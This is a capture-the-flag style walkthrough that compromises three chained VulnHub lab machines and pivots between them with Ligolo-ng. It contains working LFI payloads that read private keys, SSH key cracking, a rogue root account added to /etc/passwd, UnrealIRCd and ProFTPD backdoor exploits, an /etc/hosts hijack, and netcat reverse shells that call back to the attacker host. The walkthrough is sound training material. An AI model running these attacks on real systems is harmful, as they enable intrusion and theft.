the_open_door
coffee
ESEN

Vulnerable Lab (1 · 4 · 5)

VulnHubMediumLinux192.168.1.135

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#vulnhub#pivoting#ligolo-ng#lfi#php-include#ssh-key#ssh2john#john#writable-passwd#linpeas#unrealircd#backdoor#cve-2010-2075#irc#pspy#cron#writable-hosts#dns-hijack#proftpd#cve-2010-4221#ftp#nmap-nse#reverse-shell#root
TL;DR. A lab of three network-chained machines (VulnHub Vulnerable 1, 4 and 5). The attacker only reaches the first segment; each host is dual-homed and bridges to the next, so the chain is walked by pivoting with Ligolo-ng. Vulnerable1 (doctor): an LFI in Docmed reads admin's id_rsa, ssh2john + john recover the passphrase (unicorn) and a writable /etc/passwd gives root; its 2nd NIC opens 11.0.0.0/24. Vulnerable4 (real): the UnrealIRCd 3.2.8.1 backdoor (CVE-2010-2075) gives a shell as server, and pspy reveals a root cron that resolves a domain via a writable /etc/hosts, which is hijacked to receive root; its 2nd NIC opens 10.0.0.0/24. Vulnerable5 (vtcsec): the ProFTPD 1.3.3c backdoor (HELP ACIDBITCHEZ, CVE-2010-4221) runs as root with no authentication, closing the chain.

Network layout

The environment is three machines chained by network. The attacker only reaches the first segment; each host is dual-homed and bridges to the next. Vulnerable1 connects 192.168.1.0/24 to 11.0.0.0/24; Vulnerable4, 11.0.0.0/24 to 10.0.0.0/24; and Vulnerable5 lives there. The lab's through-line is nested pivoting: each compromised machine is not only rooted but becomes the springboard to the next.

Network layout: attacker on 192.168.1.0/24, Vulnerable1 bridges to 11.0.0.0/24, Vulnerable4 to 10.0.0.0/24, and Vulnerable5

Vulnerable1: LFI to SSH and writable /etc/passwd

Recon

A full port scan and version detection on the first target, 192.168.1.135.

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.135
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 -sCV 192.168.1.135 -oN targetedScan
22/tcp open  ssh   OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http  Apache httpd 2.4.38 ((Debian))
|_http-title: Docmed

Apache 2.4.38 has no direct critical CVE, so the focus is the Docmed web app. SSH 7.9p1 is a bit old (usable for user enumeration), but it won't be needed.

LFI in the include parameter

Browsing the site, resources load through an include parameter pointing at the displayed file (doctor-item.php?include=...). That pattern invites a Local File Inclusion test: we aim at /etc/passwd with a path-traversal sequence.

Docmed web app with the include parameter that loads resources dynamically

http://192.168.1.135/doctor-item.php?include=../../../../../../../../etc/passwd

It works: /etc/passwd is read and the user admin shows up (admin:x:1000:1000). Since SSH is open, the natural next target is its private key.

http://192.168.1.135/doctor-item.php?include=../../../../../../../../home/admin/.ssh/id_rsa

LFI reading /home/admin/.ssh/id_rsa: a private RSA key marked Proc-Type: 4,ENCRYPTED

Cracking the id_rsa passphrase

The key exists and is readable, but it is encrypted (Proc-Type: 4,ENCRYPTED). We convert it to a hash with ssh2john and dictionary-attack it with john.

ssh2john id_rsa > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
unicorn          (id_rsa)
1g 0:00:00:00 DONE ... Session completed.

The passphrase is unicorn. With correct permissions on the key, we log in over SSH as admin.

chmod 600 id_rsa
ssh -i id_rsa admin@192.168.1.135
cat /home/admin/user.txt
0819e6dfb35db7c61353e4dce311b397

Writable /etc/passwd: instant root

We look by hand for critical files writable by our user, starting with /etc/passwd:

find / -writable -type f 2>/dev/null | grep -v '/proc/'
ls -l /etc/passwd

The file shows up with a write bit: /etc/passwd is writable. We also push LinPEAS (repo) with an HTTP server, which reaches the same finding and flags it as critical:

# attacker
python3 -m http.server 80
# victim
wget http://192.168.1.80/linpeas.sh; chmod +x linpeas.sh; ./linpeas.sh

LinPEAS highlighting "Writable passwd file? /etc/passwd is writable"

Hashes inside passwd file? ........... No
Writable passwd file? ................ /etc/passwd is writable
Credentials in fstab/mtab? ........... No
Can I read shadow files? ............. No

/etc/passwd should be read-only except for root. If an unprivileged user can write to it, they can add their own account with UID/GID 0 (equivalent to root) and a known password. We generate the hash with openssl passwd, append the line and su.

pw=$(openssl passwd Password123)
echo "r00t:${pw}:0:0:root:/root:/bin/bash" >> /etc/passwd
su r00t
cat /root/root.txt

New r00t user with UID 0 added to /etc/passwd; su r00t gives a root shell and reads root.txt

dfde8cc67ed8819b2386dc74e472ecc6

We are root on Vulnerable1.

Pivoting to 11.0.0.0/24

As root, ip a shows a second interface (ens35) on the internal segment 11.0.0.2/24, which the attacker cannot reach directly. A ping sweep from the victim discovers a live host: 11.0.0.128 (which will be Vulnerable4).

for i in $(seq 0 254); do timeout 0.2 ping -c 1 11.0.0.$i &>/dev/null && echo "[+] 11.0.0.$i UP"; done

To enumerate it with the attacker's tools, we set up a tunnel with Ligolo-ng (repo). The proxy runs on the attacker (exposes a TUN interface); the agent runs on the victim and connects back to the proxy (avoiding inbound connections into the internal network).

# attacker: download and prepare the tunnel
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy --selfcert --laddr 0.0.0.0:1234
# victim
./agent --connect 192.168.1.80:1234 --ignore-cert

In the proxy console we select the session and start the tunnel.

Ligolo-ng: the agent root@doctor (192.168.1.135) joins the proxy and the tunnel starts

ligolo-ng » INFO[0007] Agent joined.  name=root@doctor  remote="192.168.1.135:41464"
ligolo-ng » session
? Specify a session : 1 - root@doctor - 192.168.1.135:41464 - 000c297b8491
[Agent : root@doctor] » start
INFO[0020] Starting tunnel to root@doctor (000c297b8491)

All that remains is to tell the system that 11.0.0.0/24 is reachable through the tunnel interface, and check connectivity.

sudo ip route add 11.0.0.0/24 dev ligolo
ping 11.0.0.128

With the route added, the internal segment is reachable from the attacker as if it were local. The proof that the tunnel works is not the ping but what comes right after: the scan of 11.0.0.128 returns open ports, and that can only happen if traffic is crossing. The compromise continues on Vulnerable4.

Vulnerable4: UnrealIRCd backdoor and a cron with /etc/hosts

Recon (through the tunnel)

Vulnerable4 lives at 11.0.0.128, reachable thanks to Vulnerable1's tunnel. We scan through it.

Network layout: Vulnerable4 bridges 11.0.0.0/24 with 10.0.0.0/24, where Vulnerable5 sits

nmap -sS -n -Pn -p- --min-rate 5000 --open 11.0.0.128
nmap -p22,80,6667,6697,8067 -sCV 11.0.0.128 -oN targetedScan
22/tcp   open  ssh   OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp   open  http  Apache httpd 2.4.38 ((Debian))  (Debian default page)
6667/tcp open  irc   UnrealIRCd
6697/tcp open  irc   UnrealIRCd (SSL)
8067/tcp open  irc   UnrealIRCd

Three IRC ports serving UnrealIRCd. The web is the default Apache page. UnrealIRCd 3.2.8.1 carries a famous backdoor, so that is the vector.

UnrealIRCd 3.2.8.1 backdoor (CVE-2010-2075)

In 2010 the official UnrealIRCd 3.2.8.1 tarball was trojanised: the code includes a backdoor that runs any string following a specific prefix as a system command, without authentication (CVE-2010-2075, CVSS 10). searchsploit unrealircd confirms it; we use a GitHub exploit that automates sending the payload.

git clone https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor
cd UnrealIRCd-3.2.8.1-Backdoor

Since the callback must cross the tunnel, we first set up a Ligolo-ng listener forwarding 4444 on the internal network to 4444 on the attacker, and tweak the exploit so the reverse shell points at 11.0.0.2 (Vulnerable1, the first pivot).

[Agent: root@doctor] >> listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444
# exploit.py
local_ip = '11.0.0.2'
local_port = '4444'

We fire the exploit at the IRC port and get a shell as server.

python3 exploit.py -payload bash 11.0.0.128 6667

exploit.py sent successfully and penelope receiving the reverse shell from real as user server

Exploit sent successfully!
[+] Got reverse shell from real ... server@real:~/irc/Unreal3.2$ whoami
server

We read the user flag (cat user.txt) and move on to escalation.

pspy: a cron that resolves a domain

We transfer pspy64 (repo) (through the port forward via Vulnerable1) and monitor processes. A root cron shows up running /opt/task, which in turn launches ping -c 1 shelly.real.nyx.

wget http://11.0.0.2:8080/pspy64; chmod +x pspy64; ./pspy64

pspy64 showing UID=0 running /opt/task from CRON and a ping to shelly.real.nyx

CMD: UID=0  PID=10578  /usr/sbin/CRON -f
CMD: UID=0  PID=10579  /bin/sh -c /opt/task
CMD: UID=0  PID=10580  /bin/bash /opt/task
CMD: UID=0  PID=10581  timeout 1 bash -c /usr/bin/ping -c 1 shelly.real.nyx

Hijacking resolution with a writable /etc/hosts

Reading /opt/task clarifies the logic: it pings the domain shelly.real.nyx and, if it answers, runs nc -e /usr/bin/sh shelly.real.nyx 65000, i.e. a reverse shell to that domain on port 65000. Since the script runs from root's cron, that shell would be root's, except the domain does not resolve... unless we control its resolution. And here /etc/hosts is writable: we overwrite it so shelly.real.nyx points to 11.0.0.2 (which Ligolo's forward carries to our attacker).

cat /opt/task
echo '11.0.0.2 shelly.real.nyx' > /etc/hosts

Contents of /opt/task (ping the domain and, if it answers, nc -e /bin/sh domain 65000) and /etc/hosts rewritten to 11.0.0.2

We set up the return listener (65000 internal → 65000 attacker) and wait for cron to fire.

[Agent: root@doctor] >> listener_add --addr 0.0.0.0:65000 --to 127.0.0.1:65000
rlwrap nc -nlvp 65000

When cron runs /opt/task, the ping to shelly.real.nyx now answers (it is us), so it launches the nc back and a root shell drops in. We fix the TTY and read the flag.

cat /root/root.txt

Root shell on real: root.txt read and a second interface ens35 on 10.0.0.2/24

593ba7e2d1e66b12e1488d6ea30c8787

Chained pivoting to 10.0.0.0/24

As seen in the previous screenshot, real has a second interface (ens35) on 10.0.0.2/24. A ping sweep discovers 10.0.0.128 (Vulnerable5). We deploy a second Ligolo-ng agent on Vulnerable4, chaining the tunnel: the agent connects to 11.0.0.2:1234, which a listener_add forwards to the attacker's proxy.

# on Vulnerable4
wget http://11.0.0.2:8080/agent -O /tmp/agent; chmod +x /tmp/agent
./agent --connect 11.0.0.2:1234 --ignore-cert
# on the attacker
sudo ip route add 10.0.0.0/24 dev ligolo
ping 10.0.0.128

Second Ligolo-ng session active from real, starting the tunnel toward 10.0.0.0/24

[Agent : root@doctor] » stop
INFO[2873] Closing tunnel to root@doctor (000c297b8491)...
[Agent : root@real] » session
? Specify a session : 2 - root@real - 127.0.0.1:43914 - 000c29f62298
[Agent : root@real] » start
INFO[2880] Starting tunnel to root@real (000c29f62298)

With the route added, the third segment is reachable just like the previous one. Again, what proves it is not the ping but the scan that follows: if 10.0.0.128 returns ports, the second tunnel is carrying the traffic. The compromise ends on Vulnerable5.

Vulnerable5: ProFTPD backdoor

Recon

Vulnerable5 lives at 10.0.0.128, reachable through the second tunnel built from Vulnerable4. It is the third and last segment of the chain.

Network layout: Vulnerable5 on 10.0.0.0/24, reached through Vulnerable4

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 10.0.0.128
nmap -p21,22,80 -sCV 10.0.0.128 -oN targetedScan
21/tcp open  ftp     ProFTPD 1.3.3c
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OSs: Unix, Linux

Port 21 gives it away: ProFTPD 1.3.3c. That specific version carries a backdoor in its source code, turning it into direct root access.

Access as root: ProFTPD 1.3.3c backdoor

As with UnrealIRCd on Vulnerable4, ProFTPD 1.3.3c shipped with a trojanised source tree. The backdoor triggers by sending the string HELP ACIDBITCHEZ to the FTP service: from then on, the server runs whatever you type as system commands, with the process's privileges, which here is root. It needs no authentication and no later escalation (associated with CVE-2010-4221, CVSS 10).

We connect to the FTP with netcat, send the magic string and try whoami: it answers root.

nc -vn 10.0.0.128 21
# inside the FTP session:
HELP ACIDBITCHEZ
whoami
hostname

ProFTPD backdoor triggered with HELP ACIDBITCHEZ: whoami returns root on host vtcsec

220 ProFTPD 1.3.3c Server (vtcsec) [10.0.0.128]
HELP ACIDBITCHEZ
whoami
root
hostname
vtcsec

We already have execution as root. To close the pivoting scenario with a visible last hop, we fire a reverse shell to the attacker. Since we are two segments deep, we set up a listener_add in Ligolo-ng forwarding the internal 4443 to the attacker's 4443, and trigger a busybox nc toward 10.0.0.2 (Vulnerable4, the second pivot).

[Agent: root@real] >> listener_add --addr 0.0.0.0:4443 --to 127.0.0.1:4443

On the attacker, nc receives the forwarded connection on 4443:

nc -nlvp 4443
# through the backdoor
busybox nc 10.0.0.2 4443 -e bash

Reverse shell received as root on the attacker, closing the three-segment pivoting chain

# nc -vn 10.0.0.128 21
(UNKNOWN) [10.0.0.128] 21 (ftp) open
220 ProFTPD 1.3.3c Server (vtcsec) [10.0.0.128]
HELP ACIDBITCHEZ
whoami
root
hostname
vtcsec

The shell arrives as root. In this case the box has no root flag; the identity (vtcsec, whoami=root) confirms the compromise.

Alternative vector: nmap NSE

With direct access to the box (no tunnel in between), the same backdoor is exploited with nmap's ftp-proftpd-backdoor NSE script, which confirms and exploits in a single command. First we check for its presence:

nmap -p21 --script "ftp-vsftpd-backdoor,ftp-proftpd-backdoor" <ip> -oN targetedScan

Then we run it passing the reverse-shell command as an argument. With Penelope listening on 4444:

penelope 4444
nmap -p21 --script ftp-proftpd-backdoor \
  --script-args cmd="busybox nc <attacker> 4444 -e bash" <ip>

Alternative vector: the ftp-proftpd-backdoor NSE fires the reverse shell and penelope receives it as root@vtcsec

[+] Listening for reverse shells on 0.0.0.0:4444
[+] Got reverse shell from vtcsec~192.168.1.153-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
root@vtcsec:/# whoami
root

The connection arrives just the same as root@vtcsec, showing that both vectors (manual with netcat and automated with NSE) exploit the same backdoor with identical results. This completes the compromise of all three lab segments.

Attack chain

[192.168.1.0/24]  Vulnerable1 (doctor)
  Docmed (:80) → LFI in include ── /etc/passwd (admin) + encrypted id_rsa
   └─ ssh2john + john (rockyou) ── passphrase "unicorn" ── SSH as admin
        └─ LinPEAS: writable /etc/passwd ── UID 0 user ── su ── root
             └─ 2nd NIC (11.0.0.2) ── Ligolo-ng ─────────────────────┐
                                                                      ▼
[11.0.0.0/24]     Vulnerable4 (real)
  UnrealIRCd 3.2.8.1 (:6667) → backdoor CVE-2010-2075 ── shell as server
   └─ pspy: root cron runs /opt/task (ping shelly.real.nyx -> nc :65000)
        └─ writable /etc/hosts ── domain = 11.0.0.2 (via pivot) ── root
             └─ 2nd NIC (10.0.0.2) ── second Ligolo-ng ──────────────┐
                                                                      ▼
[10.0.0.0/24]     Vulnerable5 (vtcsec)
  ProFTPD 1.3.3c (:21) → backdoor "HELP ACIDBITCHEZ" ── execution as root (no auth)
   └─ busybox nc through the two chained pivots ── root shell on the attacker

Lessons learned

  • Pivoting starts by looking at the interfaces. A compromised host's second NIC is the key to the next segment; Ligolo-ng makes it reachable without proxychains, with a simple route to the TUN. And it chains: by reusing a pivot's listeners as forwards, the next host's agent reaches the proxy without a direct connection. Here it is three segments and two nested tunnels.
  • An include with no allowlist is LFI, and an LFI that reaches id_rsa is access. Blocking /etc/passwd is not enough: any file readable by the web process (keys, configs, logs) is exposed. Validate against an allowlist of resources and disable allow_url_include. And an encrypted private key is not safe if the passphrase is weak: ssh2john + a common wordlist opens it in seconds.
  • The supply chain is attack surface too. The UnrealIRCd 3.2.8.1 and ProFTPD 1.3.3c backdoors were not bugs but trojanised tarballs on the official sites. Two different services, the same pattern: verifying hashes of what you install is not paranoia.
  • Permission flaws = root with no exploit. A writable /etc/passwd (add a UID 0 account) and a writable /etc/hosts (hijack the resolution of a domain a root cron trusts) both give root without a single software vulnerability. Audit critical file permissions (644, owned by root).
  • When the service runs as root, there is no escalation. Vulnerable5's FTP runs the backdoor with UID 0, so initial access is already maximum privilege. Exposed services should run with the least privilege possible, never as root.
Command cheatsheet 25 commands

Quick review